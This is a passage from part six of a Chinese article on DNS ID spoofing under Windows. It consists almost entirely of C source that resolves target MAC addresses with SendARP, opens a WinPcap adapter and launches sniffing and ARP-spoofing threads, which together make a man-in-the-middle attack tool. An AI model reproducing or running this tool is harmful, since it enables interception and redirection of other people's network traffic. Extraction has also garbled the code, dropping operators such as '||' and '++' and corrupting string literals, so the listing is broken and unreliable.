Windows下DNS ID欺骗的原理与实现( 六 )


return FALSE;
}
memcpy(mmac,padapterinfo->Address,6); 
paddrstr=&(padapterinfo->IpAddressList);
myip=inet_addr(paddrstr->IpAddress.String);
ullen=6;
memset(pulmac,0xff,sizeof(pulmac));
destip=firstip;
if((hr=SendARP(destip,0,pulmac,&ullen))!=NO_ERROR)
{
printf("SendARP firstip Error: %dn",GetLastError());
return FALSE;
}
memcpy(fmac,pulmac,6);
memset(pulmac,0xff,sizeof(pulmac));
destip=secondip;
if((hr=SendARP(destip,0,pulmac,&ullen))!=NO_ERROR)
{
printf("SendARP secondip Error: %dn",GetLastError());
return FALSE;
}
memcpy(smac,pulmac,6);
return TRUE;
}
int main(int argc,char *argv[])
{
HANDLEthread[2];
WCHARadaptername[8192];
WCHAR*name1,*name2;
ULONGadapterlength;
DWORDthreadsid,threadrid;
int adapternum=0,open,i;
system("cls.exe");
start();
if(argc!=4)
{
usage();
return -1;
}

firstip=inet_addr(argv[1]);
secondip=inet_addr(argv[2]);
virtualip=inet_addr(argv[3]);
if(getmac()==FALSE)
{
return -1;
}
adapterlength=sizeof(adaptername);
if(PacketGetAdapterNames((char *)adaptername,&adapterlength)==FALSE)
{
printf("PacketGetAdapterNames Error: %dn",GetLastError());
return -1;
}
name1=adaptername;
name2=adaptername;
i=0;
while((*name1!="")(*(name1-1)!=""))
{
if(*name1=="")
{
memcpy(adapterlist[i],name2,2*(name1-name2));
name2=name1 1;
i;
}
name1;
}
adapternum=i;
printf("Adapters Installed: n");
for(i=0;i<adapternum;i)
{
wprintf(L"%d - %sn",i 1,adapterlist[i]);
}
do
{
printf("nSelect the number of the adapter to open: ");
scanf("%d",&open);
if(open>=1 && open<=adapternum)
break;
}while(open<1open>adapternum);
lpadapter=PacketOpenAdapter(adapterlist[open-1]);
if(!lpadapter(lpadapter->hFile==INVALID_HANDLE_VALUE))
{
printf("PacketOpenAdapter Error: %dn",GetLastError());
return -1;
}
if((lppackets=PacketAllocatePacket())==FALSE)
{
printf("PacketAllocatePacket Send Error: %dn",GetLastError());
return -1;
}
thread[0]=CreateThread(NULL,0,sniff,NULL,0,&threadrid);
if(thread[0]==NULL)
{
printf("CreateThread for sniffer Error: %dn",GetLastError());
return -1;
}
thread[1]=CreateThread(NULL,0,arpspoof,NULL,0,&threadsid);
if(thread[1]==NULL)
{
printf("CreateThread for arpspoof Error: %dn",GetLastError());
return -1;
}
WaitForMultipleObjects(2,thread,FALSE,INFINITE);
CloseHandle(thread[0]);
CloseHandle(thread[1]);
PacketFreePacket(lppackets);
PacketFreePacket(lppacketr);
PacketCloseAdapter(lpadapter);
return 0;
}

推荐阅读